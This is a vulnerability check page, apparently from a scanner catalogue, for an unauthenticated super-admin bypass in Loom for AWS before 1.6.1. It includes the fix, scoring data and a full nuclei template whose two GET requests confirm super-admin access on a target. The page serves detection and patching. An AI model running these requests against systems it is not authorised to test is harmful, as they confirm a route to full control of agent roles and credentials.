Loom for AWS < 1.6.1 - Unauthenticated Super-Admin Access

criticalseverity

10CVSS score

2.5%likelihood of exploitation, next 30 days

85%of all CVEs are less likely

Readycheck to confirm it

Loom for AWS < 1.6.1 contains a broken authentication caused by missing authentication for critical functions in the authentication dependency, letting remote actors obtain super-admin authority over the agent control plane, exploit requires no identity provider configured.

Impact

Remote attackers can gain super-admin privileges, allowing full control over agent roles and credentials.

Fix

Upgrade to version 1.6.1 or later.

How to confirm it

Send: GET /api/auth/me
Positive when: status_code == 200 and contains(content_type, "application/json") and contains_all(body, "local-dev", "t-admin", "g-admins-super")
Send: GET /api/mcp/servers
Positive when: status_code == 200 and contains(content_type, "application/json") AND not contains "No identity provider configured" or "Not authenticated"

Run it with nuclei: nuclei -id CVE-2026-103956 -u <target>

The full check

id: CVE-2026-103956

info:
  name: Loom for AWS < 1.6.1 - Unauthenticated Super-Admin Access
  author: comradezephyr
  severity: critical
  description: |
    Loom for AWS < 1.6.1 contains a broken authentication caused by missing authentication for critical functions in the authentication dependency, letting remote actors obtain super-admin authority over the agent control plane, exploit requires no identity provider configured.
  impact: |
    Remote attackers can gain super-admin privileges, allowing full control over agent roles and credentials.
  remediation: |
    Upgrade to version 1.6.1 or later.
  reference:
    - https://github.com/awslabs/loom/security/advisories/GHSA-vgmj-998f-r8mp
    - https://aws.amazon.com/security/security-bulletins/2026-124-aws/
    - https://github.com/awslabs/loom/releases/tag/v1.6.1
    - https://nvd.nist.gov/vuln/detail/CVE-2026-103956
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2026-103956
    epss-score: 0.02494
    epss-percentile: 0.84804
    cwe-id: CWE-306
  metadata:
    verified: true
    max-request: 2
    vendor: amazon
    product: loom-for-aws
  tags: cve,cve2026,loom,aws,auth-bypass,unauth,mcp

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /api/auth/me HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "local-dev", "t-admin", "g-admins-super")'
        condition: and
        internal: true

  - raw:
      - |
        GET /api/mcp/servers HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
        condition: and

      - type: word
        part: body
        words:
          - "No identity provider configured"
          - "Not authenticated"
        negative: true

References

Use this check only on systems you are authorised to test. Where the data comes from